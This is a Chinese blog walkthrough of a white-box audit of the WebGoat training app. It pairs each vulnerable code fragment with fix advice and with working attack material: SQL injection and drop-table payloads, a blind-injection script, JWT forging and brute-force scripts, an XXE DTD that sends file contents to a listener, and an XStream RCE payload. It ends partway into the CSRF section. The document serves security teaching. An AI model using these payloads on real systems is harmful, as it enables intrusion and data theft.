webgoat白盒審計+漏洞測試

HAN91發表於2021-03-27

前言

小白,記錄,有問題可以交流

乖乖放上參考連結:
https://www.freebuf.com/column/221947.html
https://www.sec-un.org/java程式碼審計入門篇:webgoat-8(初見)/
https://blog.csdn.net/qq_45836474/article/details/108021657


搭建流程

前提:

  • Java 11
  • Maven > 3.2.1
  • IDEA

下載原始碼

git clone https://github.com/WebGoat/WebGoat.git

開啟idea匯入maven專案,build完成之後,開啟localhost:8080/WebGoat,註冊賬戶

Sql注入(未記錄完全)

select department from employees where first_name='Bob'

update employees set department='Sales' where first_name='Barnett'

alter table employees add column phone varchar(20)

grant alter table to UnauthorizedUser

12:'; update employees set salary=1000000 where last_name='Smith';--

13:'; drop table access_log;-- -

漏洞描述

當應用程式將使用者輸入的內容,拼接到SQL語句中,一起提交給資料庫執行時,就會產生SQL隱碼攻擊威脅。攻擊者通過控制部分SQL語句,可以查詢資料庫中任何需要的資料,利用資料庫的一些特性,甚至可以直接獲取資料庫伺服器的系統許可權。

漏洞成因

字元拼接的方式拼接sql語句,並且沒有做任何過濾直接執行

程式碼片段以及修復建議
  1. sql-injection-->SQLInjectionChanllenge

    使用預編譯PrepareStatement,實現資料程式碼分離

    測試截圖:

    根據程式碼找到注入點,用sqlmap跑,payload

    sqlmap.py -r 1.txt --method PUT --data "username_reg" -D PUBLIC -T CHALLENGE_USERS -C password --dump
    

    但是可能由於伺服器的原因,跑了很久,還跑錯了,密碼應該是thisisasecretfortomonly

  2. sql-injection-->SQLInjectionLesson6a

    使用預編譯PrepareStatement,實現資料程式碼分離

    測試截圖:

    payload(注意欄位型別要對應):

    -1' union select userid,user_name,password, cookie,'','',0 from user_system_data --
    

  3. sql-injection-->Servers

    列名不能加雙引號,所以只能用字元拼接的方式拼接sql語句,建議對列名進行白名單過濾

    @ResponseBody
        public List<Server> sort(@RequestParam String column) throws Exception {
            List<Server> servers = new ArrayList<>();
    
            try (Connection connection = dataSource.getConnection();
                 PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by " + column)) {
                ResultSet rs = preparedStatement.executeQuery();
                while (rs.next()) {
                    Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
                    servers.add(server);
                }
            }
            return servers;
        }
    

    測試截圖:

    sqlmap不太好使,太慢了,然後就看見大佬寫的指令碼

    布林盲注,根據返回資料的排序來判斷真假(tql)

    # -*- coding:utf-8 -*-
    
    import requests
    from string import digits
    chars = digits+"."
    
    headers = {
        'X-Requested-With': 'XMLHttpRequest'
    }
    cookies = {
        'JSESSIONID': 'D81iy9aS29fcA8JZUl1QEdeNBahRWoMFk8YyziGj',
        'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1'
    }
    i = 0
    result = ""
    proxy={"http": "http://127.0.0.1:6666"}
    while True:
        i += 1
        temp = result
        for char in chars:
            vul_url = "http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end".format(i, char)
            resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy)
            # print(resp.json())
            if 'webgoat-acc' in resp.json()[0]['hostname']:
                result += char
        print(result)
        if temp == result:
            break
    
    '''select * from table where 
    column = 
    case
    when (select substr(ip,{0},1) = '{1}' from server where  hostname = 'webgoat-prd')
    then hostname
    else mac end'''
    

  4. sql-injection-->SqlOnlyInputValidation

    限制使用者輸入內容不能包含空格,但是可以通過過/**/註釋,括號等繞過,過濾空格後直接呼叫SQLInjectionLesson6a的注入函式(字元拼接執行並直接輸出結果),修復建議同SQLInjectionLesson6a

    測試截圖:

    payload

    -1'/**/union/**/select/**/userid,user_name,password,cookie,'','',0/**/from/**/user_system_data/**/--/**/
    

  5. sql-injection-->SqlOnlyInputValidationOnKeywords

    對使用者輸入進行關鍵字'select' 'from'進行了一次判斷置空,並限制使用者輸入不能包含空格,可以通過雙寫+註釋繞過繞過,建議使用預編譯

    測試截圖:

    payload

    -1'/**/union/**/select/**/userid,user_name,password,cookie,'','',0/**/frfromom/**/user_system_data/**/--/**/
    

任意檔案上傳

漏洞描述

檔案上傳功能允許使用者將本地的檔案通過Web頁面提交到網站伺服器上,但是如果不對使用者上傳的檔案進行合法性驗證,則攻擊者可利用Web應用系統檔案上傳功能(如檔案上傳、影像上傳等)的程式碼缺陷來上傳任意檔案或者webshell,並在伺服器上執行,以達到獲取Web應用系統控制許可權或其他目的。

漏洞成因

未對使用者輸入的引數進行合法性驗證

程式碼片段以及修復建議
  1. path-traversal-->ProfileUpload

    獲取前端上傳的檔案以及字串“fullName”

@PostMapping(value = "/PathTraversal/profile-upload", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
 @ResponseBody
 public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName", required = false) String fullName) {
     return super.execute(file, fullName);
 }

呼叫父類ProfileUploadBase,execute()方法,判斷檔案和"fullName"非空後直接上傳,並且“fullName”用作子路徑名字串

修復建議

  1. 對fullName進行判斷過濾
  2. 使用適當的許可權保護資料夾
  3. 隨機化重新命名使用者上傳的檔名
  4. 根據使用者上傳的檔案型別重構檔案

測試截圖:


  1. path-traversal-->ProfileUploadFix

對“fullName”過濾了“../”,但是因為replace並不能遞迴檢測,所以可以通過雙寫繞過('..././'),修復建議同上

public AttackResult uploadFileHandler(
            @RequestParam("uploadedFileFix") MultipartFile file,
            @RequestParam(value = "fullNameFix", required = false) String fullName) {
        return super.execute(file, fullName != null ? fullName.replace("../", "") : "");
    }

測試截圖:


  1. path-traversal-->ProfileUploadRemoveUserInput

直接使用了原始檔名,所以直接修改檔名即可,建議隨機重新命名檔名

public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
        return super.execute(file, file.getOriginalFilename());
    }

測試截圖:


目錄遍歷

漏洞描述

路徑遍歷,即利用路徑回溯符“../”跳出程式本身的限制目錄實現下載任意檔案。例如Web應用原始碼目錄、Web應用配置檔案、敏感的系統檔案(/etc/passwd、/etc/paswd)等。

一個正常的Web功能請求:

http://www.test.com/get-files.jsp?file=report.pdf

如果Web應用存在路徑遍歷漏洞,則攻擊者可以構造以下請求伺服器敏感檔案:

http://www.test.com/get-files.jsp?file=../../../../../../../../../../../../etc/passwd

漏洞成因

未對使用者輸入的引數進行合法性驗證

程式碼片段以及修復建議

path-traversal-->ProfileUploadRetrieval

原始碼過濾了'..'和'/',但是可以通過url編碼進行繞過

根據引數id進行判斷

如果使用者輸入的id.jpg存在,那麼返回包中返回該圖片的base64編碼

如果不存在,就返回catPicturesDirectory的父目錄的所有檔案資訊,用逗號分割

測試截圖:

修復建議:

1. 使用適當的許可權保護資料夾
2. 禁止返回目錄資訊
3. 對url編碼後的引數也要進行解碼過濾
4. 統一404介面

身份認證繞過

漏洞描述

業務流程由前端進行控制,伺服器端對應的各功能分離,導致業務流程可被攻擊者進行控制,從而繞過流程中的各項校驗功能,達到攻擊的目的。

漏洞成因

未對使用者可控的引數進行合法性驗證

程式碼片段以及修復建議
  1. auth-bypass-->VerifyAccount.completed()

    if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) {
                return failed(this)
                        .feedback("verify-account.cheated")
                        .output("Yes, you guessed correctly, but see the feedback message")
                        .build();
            }
    

    呼叫verificationHelper.didUserLikelylCheat()

    將使用者輸入的問題用鍵值對的方式儲存,並和後端程式碼儲存的答案進行比較。

    但是Mapper在get一個不存在的鍵時,並不會報錯,而是返回null。所以使用者可以通過控制key的值繞過。

    建議

    1. 若使用者可控key,那麼應該先判斷這個key是否合法
    2. 設定不可控key,直接將使用者的輸入作為value進行判斷
     static {
            userSecQuestions.put("secQuestion0", "Dr. Watson");
            userSecQuestions.put("secQuestion1", "Baker Street");
        }
    
        private static final Map<Integer, Map> secQuestionStore = new HashMap<>();
    
        static {
            secQuestionStore.put(verifyUserId, userSecQuestions);
        }
        // end 'data store set up'
    
        // this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code
        public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {
            boolean likely = false;
    
            if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
                likely = true;
            }
    
            if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")))
                    && (submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) {
                likely = true;
            } else {
                likely = false;
            }
            return likely;
    

    測試截圖:

  2. auth-bypass-->AccountVerificationHelper.verifyAccount()

    判斷了key是否存在,但是不包含該key仍然可以繞過

    //end of cheating check ... the method below is the one of real interest. Can you find the flaw?
    
        public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
            //short circuit if no questions are submitted
            if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
                return false;
            }
    
            if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
                return false;
            }
    
            if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
                return false;
            }
    
            // else
            return true;
    
        }
    

    建議修改為

    if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
                return false;
            }
    // 同時判斷key和對應的value
            if (submittedQuestions.containsKey("secQuestion0") && submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")) && submittedQuestions.containsKey("secQuestion1") && submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
                return true;
            }
    
            // else
            return false;
    

    作者沒寫這個功能點,就是在原始碼裡面問了一下

  3. JWT

    jwt-->JWTVotesEndpoint.vote()

    沒有驗證簽名,直接判斷token中的admin對應值是否為true,所以把token中的alg設定為none,admin設定為true即可(親測bp轉換的不行)

     if (StringUtils.isEmpty(accessToken)) {
                return failed(this).feedback("jwt-invalid-token").build();
            } else {
                try {
                    Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
                    Claims claims = (Claims) jwt.getBody();
                    boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
                    if (!isAdmin) {
                        return failed(this).feedback("jwt-only-admin").build();
                    } else {
                        votes.values().forEach(vote -> vote.reset());
                        return success(this).build();
                    }
                } catch (JwtException e) {
                    return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
                }
            }
    

    轉換指令碼:

    # -*- coding:utf-8 -*-
    
    import jwt
    import base64
    # header
    # eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
    # {"typ":"JWT","alg":"HS256"}
    #payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
    # {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
    
    def b64urlencode(data):
        return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
    
    print(b64urlencode(b'{"alg":"none"}')+b'.'+b64urlencode(b'{"iat":1673470025,"admin":"true","user":"Tom"}')+b'.')
    

    測試截圖:

    jwt-->JWTSecretKeyEndpoint.login()

    隨機取陣列中的值進行加密,可以用字典進行爆破

     public static final String[] SECRETS = {"victory", "business", "available", "shipping", "washington"};
    static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);
    public String getSecretToken() {
            return Jwts.builder()
                    .setIssuer("WebGoat Token Builder")
                    .setAudience("webgoat.org")
                    .setIssuedAt(Calendar.getInstance().getTime())
                    .setExpiration(Date.from(Instant.now().plusSeconds(60)))
                    .setSubject("tom@webgoat.org")
                    .claim("username", "Tom")
                    .claim("Email", "tom@webgoat.org")
                    .claim("Role", new String[]{"Manager", "Project Administrator"})
                    .signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
        }
    

    爆破指令碼(字典pass.txt用的是原始碼裡面的陣列)(如果指令碼報錯jwt找不到jwt.exceptions,可能是pyjwt的問題,更新pyjwt>=1.6.4即可,解決來源):

    import termcolor
    import jwt
    if __name__ == "__main__":
        jwt_str = 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYxMTc5ODAxNSwiZXhwIjoxNjExNzk4MDc1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.w1tzWDwmZcggbyV9ixcw1Vydf07MG9mAsPVbQPgBh2E'
        with open('pass.txt') as f:
            for line in f:
                key_ = line.strip()
                try:
                    jwt.decode(jwt_str, verify=True, key=key_, algorithms="HS256")
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except jwt.exceptions.InvalidSignatureError:
                    print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                    continue
            else:
                print('\r', '\bsorry! no key be found.')
    

    測試截圖:

    爆破出來key,就可以去https://jwt.io/#debugger加工啦

    jwt-->JWTRefreshEndpoint

    登入時呼叫createNewTokens()

    會獲取到的refresh token和該使用者的access token

    refresh token是通過RandomStringUtils.randomAlphabetic(20)獲取的隨機值,用於重新整理過期的access token

    但是由於沒有繫結使用者資訊,所以可以用來重新整理任何任何使用者的過期token

            Map<String, Object> tokenJson = new HashMap<>();
            String refreshToken = RandomStringUtils.randomAlphabetic(20);
            validRefreshTokens.add(refreshToken);
            tokenJson.put("access_token", token);
            tokenJson.put("refresh_token", refreshToken);
            return tokenJson;
    

    token重新整理,請求包中的refresh_token被包含在隨機生成的token集合中時,就返回一個新的token:

     if (user == null || refreshToken == null) {
                return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
            } else if (validRefreshTokens.contains(refreshToken)) {
                validRefreshTokens.remove(refreshToken);
                return ok(createNewTokens(user));
            } else {
                return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
            }
    

    測試截圖:

    利用登入介面,登入當前使用者jerry,獲取重新整理refresh_token

    沒有成功重新整理token,報錯資訊:給出的token無法正常解析

    jwt-->JWTFinalEndpoint.resetVotes()

    存在sql注入點"kid"(KID代表“金鑰序號”(Key ID)。它是JWT頭部的一個可選欄位,開發人員可以用它標識認證token的某一金鑰)

    可以通過union進行繞過,將"key"作為認證金鑰,使用線上工具偽造token

    這裡將資料庫取出的key用base64解碼了,所以在注入的時候要注入key的base編碼

    aaa' union select 'a2V5' from jwt_keys where id='webgoat_key
    
    final String kid = (String) header.get("kid");
                            try (var connection = dataSource.getConnection()) {
                                ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                                while (rs.next()) {
                                    return TextCodec.BASE64.decode(rs.getString(1));
                                }
                            }
    

    建議

    1. 保證金鑰的保密性
    2. 簽名演算法固定在後端,不以JWT裡的演算法為標準
    3. 避免敏感資訊儲存在JWT中
    4. 儘量JWT的有效時間足夠短
    5. 儘量避免用使用者可以獲取的引數重新整理token,避免邏輯繞過
    6. 注意header部分,若有sql語句,建議使用預編譯

    測試截圖:

    a2v5是key的base64編碼


  4. 安全問題

    password_reset-->QuestionsAssignment

    密保問題設定為,你最喜歡的顏色是什麼,可以直接用常見顏色生成字典進行爆破,建議使用更復雜的難以破解的問題,並且限制輸入次數

    測試截圖:

    password_reset-->ResetLinkAssignmentForgotPassword

    引數host是從Request頭部獲取的,可以通過控制host引數,給使用者傳送一個我們控制的link,使用者點選後訪問我們的伺服器,伺服器記錄該請求,從而獲取到後面的resetLink,然後我們再通過正常的訪問修改密碼

修復建議:

1. 禁止將使用者可控的引數拼接進密碼重置link
2. 重置連結應該是一次性有效的
private void fakeClickingLinkEmail(String host, String resetLink) {
        try {
            HttpHeaders httpHeaders = new HttpHeaders();
            HttpEntity httpEntity = new HttpEntity(httpHeaders);
            new RestTemplate().exchange(String.format("http://%s/PasswordReset/reset/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class);
        } catch (Exception e) {
         //don't care
        }
    }

測試截圖:

攻擊者伺服器記錄了請求

使用者敏感資訊傳輸與儲存

漏洞描述

系統未對使用者的敏感資訊(如密碼、身份證號、電話號碼、銀行卡號等)進行加密、脫敏等操作,導致使用者資訊存在洩露的風險。

漏洞成因

提交登入請求時,沒有對密碼進行加密

程式碼片段以及修復建議

前端儲存的使用者名稱和密碼

function submit_secret_credentials() {
    var xhttp = new XMLHttpRequest();
    xhttp['open']('POST', '#attack/307/100', true);
	//sending the request is obfuscated, to descourage js reading
	var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]}))
}

呼叫該函式的發包截圖:

建議在資料傳過程中,對使用者的敏感資料進行加密

XML外部實體注入

漏洞描述

XXE(XML External Entity Injection)是一種針對XML終端實施的攻擊,漏洞產生的根本原因就是在XML1.0標準中引入了“entity”這個概念,且“entity”可以在預定義的文件中進行呼叫,XXE漏洞的利用就是通過實體的識別符號訪問本地或者遠端內容。黑客想要實施這種攻擊,需要在XML的payload包含外部實體宣告,且伺服器本身允許實體擴充套件。這樣的話,黑客或許能讀取WEB伺服器的檔案系統,通過UNC路徑訪問遠端檔案系統,或者通過HTTP/HTTPS連線到任意主機。

漏洞成因

XML解析沒有禁止外部實體的解析,且使用者可控REST XML格式的引數。

程式碼片段以及修復建議
  1. xxe-->SimpleXXE.createNewComment()
boolean secure = false;
        	if (null != request.getSession().getAttribute("applySecurity")) {
        		secure = true;
        	}
            Comment comment = comments.parseXml(commentStr, secure);
            comments.addComment(comment, false);
            if (checkSolution(comment)) {
                return success(this).build();
            }

其中呼叫 Comment 的parseXml(commentStr, secure)方法進行xml解析
正如程式碼中所示,可以通過設定XMLConstants的兩個屬性來禁用外部實體解析,預設的空字串就是禁用,也可以指定協議等。

詳細資訊可以看XMLConstants中的註釋。

     var jc = JAXBContext.newInstance(Comment.class);
     var xif = XMLInputFactory.newInstance();
   if (secure) {
        	xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
     	xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant
        }
        
   
        var xsr = xif.createXMLStreamReader(new StringReader(xml));
    
        var unmarshaller = jc.createUnmarshaller();
        return (Comment) unmarshaller.unmarshal(xsr);

測試截圖:

  1. xxe-->ContentTypeAssignment.createNewUser()

    根據contentType判斷資料格式,xml解析和1一樣,其餘同上

     // 如果是xml格式
            if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {
                String error = "";
                try {
                	boolean secure = false;
                	if (null != request.getSession().getAttribute("applySecurity")) {
                		secure = true;
                	}
                    Comment comment = comments.parseXml(commentStr, secure);
                    comments.addComment(comment, false);
                    if (checkSolution(comment)) {
                        attackResult = success(this).build();
                    }
                }
    

    測試截圖:


  1. xxe-->ContentTypeAssignment.addComment()

    這裡作者為了弄一個blind xxe,特別設定了提交正確的內容才返回success

    xml解析程式碼並沒有改變

    實際上還是通過引數實體注入(引數實體也能被外部引用),為了看到資料所以要通過盲打的方式,將WEB伺服器的本地檔案內容傳送到攻擊者的伺服器

    修復建議同上

    //Solution is posted as a separate comment
            if (commentStr.contains(CONTENTS)) {
                return success(this).build();
            }
    
            try {
            	boolean secure = false;
            	if (null != request.getSession().getAttribute("applySecurity")) {
            		secure = true;
            	}
                Comment comment = comments.parseXml(commentStr, secure);
                if (CONTENTS.contains(comment.getText())) {
                    comment.setText("Nice try, you need to send the file to WebWolf");
                }
                comments.addComment(comment, false);
            }
    

    測試截圖:

    a.dtd上傳在攻擊伺服器上

    <!ENTITY % payload  "<!ENTITY attack SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">
    

    資料通過實體引用成功回顯啦

水平越權

漏洞描述

水平越權漏洞,是一種“基於資料的訪問控制”設計缺陷引起的漏洞。由於伺服器端在接收到請求資料進行操作時,沒有判斷資料的所屬人,而導致的越權資料訪問漏洞。如伺服器端從客戶端提交的request引數(使用者可控資料)中獲取使用者id,惡意攻擊者通過變換請求ID的值,檢視或修改不屬於本人的資料。

漏洞成因

伺服器端對資料的訪問控制驗證不充分

程式碼片段以及修復建議

idor-->IDORViewOtherProfile

安全程式碼將確保在拆除所請求的配置檔案之前確保有一個水平訪問控制檢查

例如檢查登入使用者的session中的id(使用者不可控)是否和請求的id一致

if(requestedProfile.getUserId().equals(authUserId))

 if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
            //going to use session auth to view this one
            String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
            if (userId != null && !userId.equals(authUserId)) {
                //on the right track
                UserProfile requestedProfile = new UserProfile(userId);
                // secure code would ensure there was a horizontal access control check prior to dishing up the requested profile
                 if (requestedProfile.getUserId().equals("2342388")) {
                    return success(this).feedback("idor.view.profile.success").output(requestedProfile.profileToMap().toString()).build();
                } else {
                    return failed(this).feedback("idor.view.profile.close1").build();
                }

測試截圖:

XSS跨站指令碼

漏洞描述

跨站指令碼攻擊(Cross Site Script)是一種將惡意JavaScript程式碼插入到其他Web使用者頁面裡執行以達到攻擊目的的漏洞。攻擊者利用瀏覽器的動態展示資料功能,在HTML頁面裡嵌入惡意程式碼。當使用者瀏覽該頁時,這些嵌入在HTML中的惡意程式碼會被執行,使用者瀏覽器被攻擊者控制,從而達到攻擊者的特殊目的,如cookie竊取、帳戶劫持、拒絕服務攻擊等。

跨站指令碼攻擊有以下攻擊形式:

1、反射型跨站指令碼攻擊

攻擊者利用社會工程學等手段,傳送一個URL連結給使用者開啟,在使用者開啟頁面的同時,瀏覽器會執行頁面中嵌入的惡意指令碼。

2、儲存型跨站指令碼攻擊

攻擊者利用應用程式提供的錄入或修改資料的功能,將資料儲存到伺服器或使用者cookie中,當其他使用者瀏覽展示該資料的頁面時,瀏覽器會執行頁面中嵌入的惡意指令碼,所有瀏覽者都會受到攻擊。

3、DOM跨站指令碼攻擊

由於HTML頁面中,定義了一段JS,根據使用者的輸入,顯示一段HTML程式碼,攻擊者可以在輸入時,插入一段惡意指令碼,最終展示時,會執行惡意指令碼。

DOM跨站指令碼攻擊和以上兩個跨站指令碼攻擊的區別是,DOM跨站是純頁面指令碼的輸出,只有規範使用JavaScript,才可以防禦。

漏洞成因

在HTML中常用到字元實體,將常用到的字元實體沒有進行轉譯,導致完整的標籤出現,在可輸入的文字框等某些區域內輸入特定的某些標籤導致程式碼被惡意篡改。

程式碼片段以及修復建議
  1. xss-->CrossSiteScriptingLesson5a

    反射型xss

    題目用正規表示式匹配使用者輸入的引數field1,因為是題目需求這裡匹配 ".*<script>(console\.log|alert)\(.\);?<\/script>."後在頁面上進行輸出

    public static final Predicate<String> XSS_PATTERN = Pattern.compile(
                ".*<script>(console\\.log|alert)\\(.*\\);?<\\/script>.*"
                , Pattern.CASE_INSENSITIVE).asMatchPredicate();
    if (XSS_PATTERN.test(field1)) {
                userSessionData.setValue("xss-reflected-5a-complete", "true");
                if (field1.toLowerCase().contains("console.log")) {
                    return success(this).feedback("xss-reflected-5a-success-console").output(cart.toString()).build();
                } else {
                    return success(this).feedback("xss-reflected-5a-success-alert").output(cart.toString()).build();
                }
            }
    

    測試截圖:

    修復建議:

    1. 根據要在何處使用使用者輸入,使用適當的轉義/編碼技術:HTML轉義,JavaScript轉義,CSS轉義,URL轉義等。使用現有的轉義庫,除非絕對必要,否則請不要編寫自己的庫。

    2. 如果使用者輸入需要包含HTML,則無法對其進行轉義/編碼,因為它會破壞有效的標籤。在這種情況下,請使用受信任且經過驗證的庫來解析和清除HTML。

    3. 為cookie設定HttpOnly標誌

    4. 使用內容安全策略

  2. DOM型

    原始碼中使用路由,路由中的引數而無需編碼可以執行WebGoat中的內部功能

    // something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E--andMoreGarbageHere
    // or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>
    

    測試截圖:

    通過url觸發路由內部函式的執行

    http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>
    

    修復建議:規範使用JavaScript

反序列化

反序列化漏洞呢是一個說複雜也不復雜,說不復雜也很複雜的問題,要理解的點還是有很多的,這裡就講的很細

deserialization-->InsecureDeserializationTask

根據 if (!(o instanceof VulnerableTaskHolder)),可以發現,我們序列化的例項應該是VulnerableTaskHolder

try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
            before = System.currentTimeMillis();
            Object o = ois.readObject();
            if (!(o instanceof VulnerableTaskHolder)) {
                if (o instanceof String) {
                    return failed(this).feedback("insecure-deserialization.stringobject").build();
                }
                return failed(this).feedback("insecure-deserialization.wrongobject").build();
            }
            after = System.currentTimeMillis();

VulnerableTaskHolder定位到Runtime.getRuntime().exec(taskAction)

並且taskAction是在建構函式裡被賦值的

所以我們可以通過控制taskAction來控制執行的命令(eg. VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6")),將物件使用序列化工具序列化,提交至後端處理,就會觸發

//condition is here to prevent you from destroying the goat altogether
		if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
				&& taskAction.length() < 22) {
		log.info("about to execute: {}", taskAction);
		try {
            Process p = Runtime.getRuntime().exec(taskAction);
            BufferedReader in = new BufferedReader(
                                new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                log.info(line);
            }
        }

測試截圖:

序列化VulnerableTaskHolder物件,base64編碼

static public void main(String[] args){
        try{
            VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(go);
            oos.flush();
            byte[] exploit = bos.toByteArray();
            String exp = Base64.getEncoder().encodeToString(exploit);
            System.out.println(exp);
        } catch (Exception e){

        }

提交後反序列化後的物件

但是沒有執行成功,谷歌了一下,說是用java呼叫CMD 命令時,需要指定 ,但是這個會改變現存程式碼邏輯,暫未實現,實現後再更新

反序列化漏洞修復建議:

1. 如果是第三方元件存在反序列化漏洞,建議更新版本或打補丁
2. 加強對Runtime.exec相關程式碼的檢測
3. 條件允許的話,禁止JVM執行外部命令

第三方元件

漏洞描述

系統中引用了存在已知漏洞的第三方元件,如Jackson反序列化漏洞、Struts2遠端程式碼執行漏洞等,可能會直接或間接導致系統淪陷。

程式碼片段以及修復建議

CVE-2013-7285漏洞詳情

攻擊者可以通過版本資訊找到相應的cve漏洞和payload進行利用,如下就是通過構造ContactImpl的xml格式通關。

try {
        	if (!StringUtils.isEmpty(payload)) {
        		payload = payload.replace("+", "").replace("\r", "").replace("\n", "").replace("> ", ">").replace(" <", "<");
        	}
            contact = (Contact) xstream.fromXML(payload);
        } catch (Exception ex) {
            return failed(this).feedback("vulnerable-components.close").output(ex.getMessage()).build();
        }
        
        try {
            if (null!=contact) {
            	contact.getFirstName();//trigger the example like https://x-stream.github.io/CVE-2013-7285.html
            } 
            if (!(contact instanceof ContactImpl)) {
            	return success(this).feedback("vulnerable-components.success").build();
            }
        } catch (Exception e) {
        	return success(this).feedback("vulnerable-components.success").output(e.getMessage()).build();
        }

例項案例中,可以通過構造xml格式的資料,造成rce

第三方漏洞修復建議:更新到最新版本,或者打補丁

測試截圖:

payload:

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>cacl.exe</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

成功彈出計算器

CSRF

漏洞描述

CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站指令碼(XSS),但它與XSS非常不同,XSS利用站點內的信任使用者,而CSRF則通過偽裝來自受信任使用者的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。

漏洞成因

